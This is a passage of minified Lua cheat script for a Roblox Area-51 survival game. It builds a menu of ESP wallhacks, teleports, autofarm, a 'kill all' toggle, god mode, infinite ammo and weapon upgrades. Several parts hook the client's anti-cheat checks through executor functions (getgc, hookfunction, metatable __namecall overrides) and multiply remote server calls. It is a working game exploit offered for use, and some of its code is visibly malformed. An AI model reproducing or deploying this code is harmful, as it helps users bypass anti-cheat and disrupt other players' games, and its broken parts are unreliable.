Eagle","SVD","M16A2/M203","M14","G36C","AWP","Crossbow"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("Doors AREA51:")local z=y:NewSection("Open/Close Doors")z:NewToggle("Spam Open Doors","Spam Opens the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewToggle("Spam Close Doors","Spam Closes the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewButton("Open Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end)z:NewButton("Close Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Zombie")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("Teleports:")local z=y:NewSection("Teleports")z:NewDropdown("Weapon Teleports","DropdownInf",{"M14","RILG","R870","CLT1","SBG","SVD"},function(ag)local hum=k.Character.HumanoidRootPart;local aj=hum.CFrame;if ag=="M14"then hum.CFrame=CFrame.new(106.981911,323.620026,678.865051,0.108975291,-4.31107949e-08,0.994044483,-5.13666043e-09,1,4.39322072e-08,-0.994044483,-9.89359261e-09,0.108975291)wait(.2)hum.CFrame=CFrame.new(aj)elseif ag=="RILG"then hum.CFrame=CFrame.new(232.505737,373.660004,45.4774323,-0.999948323,-2.07754458e-09,0.0101688765,-3.00104475e-09,1,-9.08010804e-08,-0.0101688765,-9.08269016e-08,-0.999948323)elseif ag=="R870"then hum.CFrame=CFrame.new(143.435638,333.659973,499.670258,0.068527095,6.73678642e-08,-0.997649252,2.92282767e-08,1,6.95342521e-08,0.997649252,-3.39245503e-08,0.068527095)elseif ag=="CLT1"then hum.CFrame=CFrame.new(60.6713562,291.579956,262.712402,-0.0193858538,1.378409e-07,0.999812067,1.73167649e-08,1,-1.37531046e-07,-0.999812067,1.46473536e-08,-0.0193858538)elseif ag=="SBG"then hum.CFrame=CFrame.new(3.0812099,267.780121,184.758041,-0.998869121,3.20666018e-08,-0.0475441888,3.84712493e-08,1,-1.33794302e-07,0.0475441888,-1.35472078e-07,-0.998869121)elseif ag=="SVD"then hum.CFrame=CFrame.new(181.740906,306.660126,179.980011,-0.977237761,-295549789e-08,0.212145314,-3.5164706e-08,1,-2.25858496e-08,-0.212145314,-2.95278366e-08,-0.977237761)elseif ag=="blRU"then hum.CFrame=CFrame.new(19.2511063,313.500336,204.38269,0.113481902,7.8155864e08,0.993540049,-2.13239897e-08,1,-7.62284031e-08,-0.993540049,-1.25357014e-08,0.113481902)end end)z:NewDropdown("Teleport to Room","DropdownInf",{"Cafe-Room","Cartons-Room","Code-Door","Computers-Room","Corridor-to-Meeting-Room","Electricity-Room","Emergency-Hole-Down-To-Area","Entrance-To-Area","Main-Room","Entrance"},function(ag)if ag=="Cafe-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CafeRoom.Tables.Table.Table.Model.Part.CFrame elseif ag=="Cartons-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(149.739914,313.500458,194.231888,0.442422092,6.81004985e-06,-0.896806836,1.24363009e-06,1,8.20718469e-06,0.896806836,-4.74633543e-06,0.442422092)elseif ag=="Code-Door"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CodeDoorRoom.CodeDoor.Door.CFrame elseif ag=="Computers-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(219.700012,310,370.399994,-1,0,0,0,1,0,0,0,-1)elseif ag=="Corridor-to-Meeting-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CorridorToMeetingRoom.Part.CFrame elseif ag=="Electricity-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.ElectricityRoom.Generator1.Base.CFrame elseif ag=="Emergency-Hole-Down-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EmercencyHoleDownToArea.Part.CFrame elseif ag=="Entrance-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EntranceOfArea.Part.CFrame elseif ag=="Main-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.MainRoom.Part.CFrame elseif ag=="Entrance"then hum.CFrame=CFrame.new(327.317322,511.5,397.900269,1,-2.05416537e-08,-2.7642145e-15,2.05416537e-08,1,1.25194637e-08,2.50704388e-15,-1.25194637e-08,1)end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(155382109,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)elseif game.PlaceId==4678052190 then local o="BloodTheme"local x=n.CreateLib("Juggernaut Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("Teleports")game:GetService("Workspace").AREA51.MapLimit:Destroy()z:NewToggle("Juggernaut Autofarm:","Enables Autofarm for Juggernaut",function(R)if R then m.Notify("Enabled Autofarm","Press F to enable UI again","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})local l=game.Workspace.CurrentCamera;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end;function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end;for a2,v in pairs(game.Workspace:GetDescendants())do if v:IsA('TouchTransmitter')then v:Destroy()end end;_G.autoFarm=true;while wait(0.5)do if _G.autoFarm==true then game:GetService("Players").LocalPlayer.PlayerScripts.Checks.Disabled=true;for a2,al in pairs(game.Workspace.Killers:GetChildren())do if al:IsA("Model")then repeat wait()game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=al.Head.CFrame+al.Head.CFrame.lookVector*-5 until al.Humanoid.Health<=0 end end end end else G.autoFarm=false;workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Kill all as Juggernaut","Kills all Players",function(R)if R then local ap=game.Workspace.Killers.Model;local aq=player.Character;local ar=game:GetService("Players"):GetPlayers()for K,v in pairs(ar)do repeat wait()ap.Torso.CFrame=CFrame.new(v.Character.Head.Position)until v.Character.Humanoid<=0 end else print("Toggle Off")end end)z:NewButton("Teleport to Juggernaut","Teleports to the juggernaut",function()repeat wait()for a2,v in pairs(game.Workspace.Killers:GetChildren())do if v:IsA("Model")then k.Character.HumanoidRootPart.CFrame=v.Head.CFrame+v.Head.CFrame.lookVector*-6 end end until v.Humanoid.Health==0 end)z:NewToggle("Annoy Juggernaut:","Attempts to annoy Juggernaut",function(R)if R then m.Notify("Annoying Juggernaut","lol","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.autoFarm=true;local l=game.Workspace.CurrentCamera;while wait(0.5)do if _G.autoFarm==true then game:GetService("Players").LocalPlayer.PlayerScripts.Checks.Disabled=true;local B=workspace.CurrentCamera;local C=k.Character;local D=k;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;if game.Players.LocalPlayer.Character.Humanoid.RigType==Enum.HumanoidRigType.R6 then game.Players.LocalPlayer.Character.Head.CanCollide=false;game.Players.LocalPlayer.Character.Torso.CanCollide=false;game.Players.LocalPlayer.Character["Left Leg"].CanCollide=false;game.Players.LocalPlayer.Character["Right Leg"].CanCollide=false else if game.Players.LocalPlayer.Character.Humanoid.RigType==Enum.HumanoidRigType.R15 then game.Players.LocalPlayer.Character.Head.CanCollide=false;game.Players.LocalPlayer.Character.UpperTorso.CanCollide=false;game.Players.LocalPlayer.Character.LowerTorso.CanCollide=false;game.Players.LocalPlayer.Character.HumanoidRootPart.CanCollide=false end end;wait(.1)local as=Instance.new("BodyThrust")as.Parent=game.Players.LocalPlayer.Character.HumanoidRootPart;as.Force=Vector3.new(power,0,power)as.Location=game.Players.LocalPlayer.Character.HumanoidRootPart.Position;for a2,al in pairs(game.Workspace.Killers:GetChildren())do if al:IsA("Model")then repeat wait()game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=al.Head.CFrame until al.Humanoid.Health<=0 end end end end else _G.autofarm=false;workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewButton("Exit-Spectate","Exits spectate",function()workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end)z:NewButton("Remove-Doors","This removes all the doors this cannot be undone.",function()for K,v in pairs(game:GetService('Workspace'):GetDescendants())do if v:IsA("Part")and v.Parent.Name=="Door"then v:Destroy()end end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewButton("NoClip","Click this to turn on NoClip",function()k.Character.Humanoid:ChangeState(11)end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One Shot Juggernaut","Gives you more Damage on Killers",function()local a8={repeatamount=100,exceptions={"SayMessageRequest"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()for K,a7 in next,a8.exceptions do if ac.Name==a7 then return aa(ac,...)end end;if ae=="FireServer"or ae=="InvokeServer"then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("ESP:")local z=y:NewSection("PLAYER ESP/JUGGERNAUT ESP")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Juggernaut ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.7;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace.Killers:GetDescendants())do pcall(function()if v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("AREA51 Doors:")local z=y:NewSection("Open/Close Doors")z:NewToggle("Spam Open Doors","Spam Opens the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewToggle("Spam Close Doors","Spam Closes the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewButton("Open Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end)z:NewButton("Close Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(155382109,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)elseif game.PlaceId==2675280735 then local o="BloodTheme"local x=n.CreateLib("Endless Survival Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("Auto/Repair Planks")z:NewToggle("Autofarm Killers:","Enables Autofarm for Killers",function(R)if R then m.Notify("Enabled Autofarm","Press F to enable UI again","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.autoFarm=true;local l=game.Workspace.CurrentCamera;for a2,v in pairs(game:GetDescendants())do if v:IsA("TouchTransmitter")then v:Destroy()end end;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end;while wait(0.5)do if _G.autoFarm==true then mouse1click()while wait(0.5)do for a2,al in pairs(game:GetService("Workspace").Killers:GetChildren())do if al:IsA("Model")then repeat wait(0.2)game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=al.Head.CFrame+al.Head.CFrame.lookVector*-7 until al.Zombie.Health<=0 end end end else _G.autofarm=false;workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end end end)z:NewToggle("Auto-Repair Planks","Auto-Repairs Planks",function(R)if R then _G.autoRepair=true;while _G.autoRepair==true do wait(0.5)for K,v in pairs(game:GetService("Workspace").AREA51:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Parent.Name=="Planks"then fireclickdetector(v)end end end else _G.autoRepair=false end end)z:NewToggle("Auto-Turn-On-all Traps","Automatically turns on Traps",function(R)if R then _G.autoRepair=true;while _G.autoRepair==true do wait(0.5)for a2,v in pairs(game:GetService("Workspace").Traps:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Click"then fireclickdetector(v)end end end else _G.autoRepair=false end end)z:NewButton("Remove-Doors","This removes all the doors this cannot be undone.",function()for K,v in pairs(game:GetService('Workspace'):GetDescendants())do if v:IsA("Part")and v.Parent.Name=="Door"then v:Destroy()end end end)z:NewButton("Turn-Power On","This turns on the power.",function()for a2,v in pairs(game:GetService("Workspace").AREA51.ElectricityRoom.PowerManager:GetDescendants())do if v:IsA("ClickDetector")then fireclickdetector(v)end end end)z:NewButton("Turn-On all Traps","This turns on the all Traps..",function()for a2,v in pairs(game:GetService("Workspace").Traps:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Click"then fireclickdetector(v)end end end)z:NewButton("Repair Planks","Repairs all Planks.",function()for K,v in pairs(game:GetService("Workspace").AREA51:GetDescendants())do if 